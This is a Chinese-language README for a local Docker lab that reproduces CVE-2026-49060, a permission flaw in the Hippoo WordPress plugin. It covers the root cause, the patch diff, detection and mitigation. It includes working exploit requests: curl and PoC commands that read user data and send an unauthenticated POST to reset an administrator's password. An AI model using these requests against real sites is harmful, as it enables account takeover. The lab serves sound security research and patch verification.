本仓库提供了一个本地 Docker 实验室环境，用于复现和验证 CVE-2026-49060，这是一个影响 WordPress 插件 Hippoo Mobile App for WooCommerce 的权限分配错误漏洞。
该漏洞行为通过 Hippoo 克隆的 REST API 命名空间暴露：```text /wc-hippoo/v1/ext/
在易受攻击的目标中，未认证的访问者可以访问克隆的WordPress REST用户路由，并通过未认证的HTTP请求更新管理员用户的密码。在已修补的目标中，相同的请求会返回 `403 Forbidden`。
本实验比较两个Hippoo版本：
| 服务 | Hippoo 版本 | 用途 | URL |
| ---------- | ----------: | ------------------------- | ----------------------- |
| `vuln` | 1.9.4 | 易受攻击的比较目标 | `http://localhost:8081` |
| `patched` | 1.9.5 | 已修补的比较目标 | `http://localhost:8082` |
展示的漏洞链为：```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
本实验室使用 Hippoo 1.9.4 和 Hippoo 1.9.5 来验证易受攻击与已修补的授权行为。
本实验室的范围明确限定为本地 Docker 服务。它不以外部系统为目标，也不包含持久化、Web Shell、恶意软件或外部回调。
本实验室使用 Hippoo 1.9.4 作为易受攻击的比较目标，因为公开公告指出直至 1.9.4 版本受影响。
本实验室使用 Hippoo 1.9.5 作为已修补的比较目标，因为公开公告的元数据将 1.9.5 标识为所演示受影响范围的已修复版本。
公开的 CVE-2026-49060 记录将问题描述为高层次的“不正确的权限分配/权限提升”。本实验室侧重于观察 Hippoo 1.9.4 中的授权行为，并与 Hippoo 1.9.5 进行比较。
本 README 中的根本原因总结基于本实验室中使用的易受攻击和已修补 Hippoo 版本的源代码比较。
本实验室并未声称测试了所有 Hippoo 路由。它专注于克隆的 WordPress 用户 REST 路由：```text /wc-hippoo/v1/ext/wp/v2/users/
实验室不演示：
* 持久性，
* Web Shell 上传，
* 任意命令执行，
* 外部回调，
* 恶意软件行为，
* 对非实验系统的攻击，
* 或超出本地密码更新验证的入侵后活动。
## 根本原因总结
根本原因是 Hippoo 角色和权限处理中的权限逻辑缺陷。
Hippoo 在其自己的命名空间下暴露了克隆的 WordPress 和 WooCommerce REST 路由：```text
/wc-hippoo/v1/ext/
路由克隆行为对安全性敏感，因为克隆后的路由必须保留或加强原始路由的授权要求。如果克隆后的路由接收了一个宽松的权限回调，未经身份验证的用户可能能够访问本应要求身份验证和授权的REST端点。
相关的路由克隆行为遵循以下模式：```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
预期的安全模型是：```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
这种易受攻击的行为是因为 Hippoo 1.9.4 对两种不同的状态使用了相同的返回值：```text
administrator / unrestricted access
unauthenticated visitor / no user
在 Hippoo `1.9.4` 中，当没有已登录的 WordPress 用户时，权限助手返回 `null`：```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
易受攻击的版本同样将 null 视为允许的：```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
这创建了有漏洞的数据流：```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
问题不仅仅在于存在一个REST路由。问题在于权限决策可能会错误地将未经身份验证的访客视为不受限制。
修复版本将这些状态分离开来。
在 Hippoo 1.9.5 中，未经身份验证的访客返回 false 而非 null：```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
打补丁后的授权检查然后明确拒绝 `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
与安全相关的变更是：```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
这就是为什么实验室显示：```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
该补丁更改了权限返回值的含义。
在易受攻击的版本中：```text null means administrator/full access null also means unauthenticated/no user
在修补后的版本中：```text
null means administrator/full access
false means unauthenticated/no role/no access
权限助手中重要的源代码级更改是：```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
授权决策也已更改：```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
此补丁并未移除Hippoo的路由克隆功能，而是修复了权限评估周围的信任边界。
补丁带来的安全教训是：```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
安全敏感权限函数应当对不同状态使用不同的值：```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
该实验通过 Docker Compose 运行两个隔离的 WordPress 安装实例。```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
这两个 WordPress 服务使用独立的数据库和不同的插件版本：
| 服务 | 组件 | 版本/角色 |
| --------------- | --------------------------------- | ----------------------------- |
| `vuln` | WordPress + WooCommerce + Hippoo | 易受攻击的目标应用程序 |
| `patched` | WordPress + WooCommerce + Hippoo | 已修补的目标应用程序 |
| `db-vuln` | MariaDB | 易受攻击目标的数据库 |
| `db-patched` | MariaDB | 已修补目标的数据库 |
| `init-vuln` | WordPress 初始化服务 | 初始化易受攻击目标 |
| `init-patched` | WordPress 初始化服务 | 初始化已修补目标 |
默认暴露的服务：```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
该实验室使用固定的 Hippoo 版本：
| 目标 | Hippoo 版本 | 预期行为 |
|---|---|---|
http://localhost:8081 | 1.9.4 | 未认证用户可访问克隆用户路由 |
http://localhost:8082 | 1.9.5 | 未认证用户访问克隆用户路由被阻止 |
该实验室安装了 WooCommerce，因为 Hippoo 集成了 WooCommerce 的 REST 类和路由。
无需安装任何 Python 第三方包。PoC 仅使用 Python 标准库模块。
从干净状态启动实验室：```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
检查服务状态:```bash
docker compose ps
预期健康服务：```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
检查Web应用程序：```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
对两个目标运行只读验证：```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
对两个目标运行主动本地验证：```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
运行主动验证并显式指定密码：```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC 用法
将一个或多个本地目标URL作为位置参数传递：```bash
python3 poc/poc.py <target_url> [target_url...]
示例：```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
默认模式为只读。它会向克隆的用户路由发送一个未认证的`GET`请求，并报告访问是被允许还是被阻止。
支持的选项：```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
主动验证示例：```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
该PoC仅接受环回/本地目标：```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
它出于设计原因拒绝非本地目标。
命令：```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
预期的易受攻击目标信号：```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
预期的已修补目标信号：```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Expected summary:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
命令：```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
预期的易受攻击目标信号：```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
预期的修补目标信号：```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
主动验证仅更改本地易受攻击实验室目标内的临时WordPress管理员密码。
主动验证前的默认本地实验室凭据：```text
Username: admin
Password: AdminPass123!
在易受攻击的目标上成功进行主动验证后的默认密码：```text Username: admin Password: Cve49060LabPass123!
## 验证工作原理
验证器首先发现 WordPress REST API。
一些 WordPress 环境通过漂亮固定链接暴露 REST 路由：```text
/wp-json/
其他工具通过查询字符串回退更可靠地暴露它们：```text /?rest_route=/
验证器会尝试两种形式，并使用返回JSON REST索引的那种。在REST发现之后，它会寻找Hippoo克隆的用户路由：```text
/wc-hippoo/v1/ext/wp/v2/users
然后它执行一个只读的未经身份验证的GET请求：```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
预期的易受攻击行为：```text
HTTP 200 OK
JSON user object returned
预期的修补后行为：```text HTTP 403 Forbidden JSON rest_forbidden error returned
当 `--update-password` 启用时，验证器发送一个未经身份验证的 POST 请求：```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
预期的易受攻击行为：```text HTTP 200 OK The selected user's password is updated inside the local lab target.
预期修补后的行为：```text
HTTP 403 Forbidden
The update is blocked.
重要的区别不在于路由是否存在。路由在两个版本中都存在。安全区别在于是否允许未经身份验证的请求调用它。
只读漏洞探针:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
预期结果：```text
HTTP/1.1 200 OK
Content-Type: application/json
只读修补探针：```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
预期结果：```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
主动漏洞探测:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
预期结果：```text
HTTP/1.1 200 OK
主动已修补探测:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
预期结果：```text
HTTP/1.1 403 Forbidden
该漏洞行为允许未认证访问 Hippoo 命名空间下的克隆 REST 路由。
最敏感的安全示范路由是克隆的 WordPress 用户路由：```text /wc-hippoo/v1/ext/wp/v2/users/
在易受攻击的本地目标中，未经身份验证的请求可以更新管理员用户的密码。这演示了在受控实验室中的帐户接管影响。
根据站点配置和暴露的路由，潜在的真实世界影响包括：
* 未经授权访问敏感的REST API数据，
* 管理员帐户接管，
* 权限提升，
* 未经授权修改WordPress用户记录，
* 以及在获得管理员访问权限后的完全站点入侵。
此实验室仅演示授权失败和本地管理员密码更新。不包括身份验证后的利用、插件编辑、代码执行、持久化或破坏性操作。
## Detection and Monitoring
潜在指标包括向Hippoo的克隆REST命名空间发送未经身份验证的请求：```text
/wc-hippoo/v1/ext/
高风险路由模式：```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
可疑指标：```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
示例访问日志模式：```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
建议的监控操作：
* 检查 Web 服务器访问日志中 `/wc-hippoo/v1/ext/` 的请求。
* 检查 WordPress 身份验证日志中是否有意外的管理员登录。
* 检查 WordPress 用户记录中最近的密码变更。
* 检查管理员账户的电子邮件地址、角色和创建时间戳。
* 如果怀疑管理员被接管，请检查插件/主题文件的修改时间。
* 监控 REST API 请求，对于那些本应需要授权却返回 `200 OK` 给未认证用户的请求进行监控。
## 缓解措施与补丁说明
将 WooCommerce 的 Hippoo 移动应用升级到已修补版本。
对于特定实验室对比，Hippoo `1.9.5` 阻止了 `1.9.4` 中允许的未经身份验证的克隆用户路由行为。
对于生产环境，请更新到最新的可用版本，而不是停留在实验室对比版本。
建议的缓解步骤：
* 将 WooCommerce 的 Hippoo 移动应用更新到最新的已修补版本。
* 确认已安装版本晚于受影响范围。
* 检查 `/wc-hippoo/v1/ext/` 是否对外公开暴露。
* 如果怀疑被利用，请轮换管理员密码。
* 检查 WordPress 管理员账户是否存在未经授权的更改。
* 检查 Web 访问日志中是否有对克隆 REST 路由的未认证请求。
* 如果无法立即修补，请临时禁用该插件。
* 使用 WAF 或虚拟补丁作为临时措施，但不能替代升级。
安全工程经验教训：```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
检查容器状态：```bash docker compose ps
检查初始化日志：```bash
docker compose logs init-vuln init-patched
检查Web服务：```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
执行只读验证：```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
运行主动验证：```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
检查活动插件：```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
检查Hippoo版本：```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
检查易受攻击目标中的权限逻辑：```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
检查已修补目标中的权限逻辑：```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
保存验证证据：```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
停止并移除容器和网络：```bash docker compose down --remove-orphans
删除容器、网络和卷：```bash
docker compose down -v --remove-orphans
删除创建的本地证据文件：```bash rm -rf evidence/
## 安全边界
本实验仅用于本地安全研究和受控演示。
请勿对您不拥有或未经明确授权测试的系统运行PoC或手动curl请求。
请勿在本实验中使用真实的生产凭据、真实的客户数据或生产密钥。
预期范围仅限于本地Docker服务，例如：```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
PoC 有意仅使用 HTTP 且限于本地范围。它不会调用 Docker、Docker Compose、WP-CLI 或容器 API。
主动验证模式仅更改一次性本地实验室目标中选定 WordPress 用户的密码。
该实验室不包括以下攻击载荷：
目标是在受控环境中演示一种特定的技术条件：```text unauthenticated request
## 参考
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo 移动应用 for WooCommerce 插件 <= 1.9.4 权限提升漏洞
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub 公告: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org 插件: Hippoo 移动应用 for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org 插件 SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org 插件 SVN 标签
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API 手册: 路由与端点
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP Web 安全测试指南: 授权绕过测试
https://owasp.org/www-project-web-security-testing-guide/
| 声明 | 证据 | 如何在本实验室中验证 |
|---|
CVE-2026-49060 影响 WooCommerce 的 Hippoo 移动应用，直至版本 1.9.4。 | 公开公告指出 Hippoo <= 1.9.4 / 至 1.9.4 版本受影响。 | 查阅参考资料部分，并比较 vuln 服务的版本。 |
Hippoo 1.9.5 被用作已修补的比较目标。 | 公开公告的元数据将 1.9.5 标识为受影响范围内的已修补版本。 | 运行 docker compose logs init-vuln init-patched 并确认初始化的插件版本。 |
| 易受攻击的行为通过 Hippoo 克隆的 REST 命名空间暴露。 | Hippoo 在 /wc-hippoo/v1/ext/ 下重新注册外部 REST 路由。 | 运行 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082。 |
在本实验室中，Hippoo 1.9.4 允许未经过身份验证访问克隆的用户路由。 | 实验室 PoC 从 http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 收到 200 OK。 | 针对 8081 运行只读验证命令。 |
在本实验室中，Hippoo 1.9.5 阻止相同的未经过身份验证的请求。 | 实验室 PoC 从 http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 收到 403 Forbidden。 | 针对 8082 运行只读验证命令。 |
| 在本本地实验室中，易受攻击的目标可以通过未经过身份验证的 POST 更新管理员密码。 | 当使用 --update-password 时，活动 PoC 从易受攻击的目标收到 200 OK。 | 运行 python3 poc/poc.py --update-password http://127.0.0.1:8081。 |
| 已修补的目标阻止未经过身份验证的密码更新请求。 | Hippoo 1.9.5 对相同的克隆用户路由返回禁止响应。 | 对两个目标运行活动验证。 |
| PoC 仅使用 HTTP。 | poc/poc.py 仅发送 HTTP 请求，不调用 Docker、WP-CLI 或容器 API。 | 检查 poc/poc.py。 |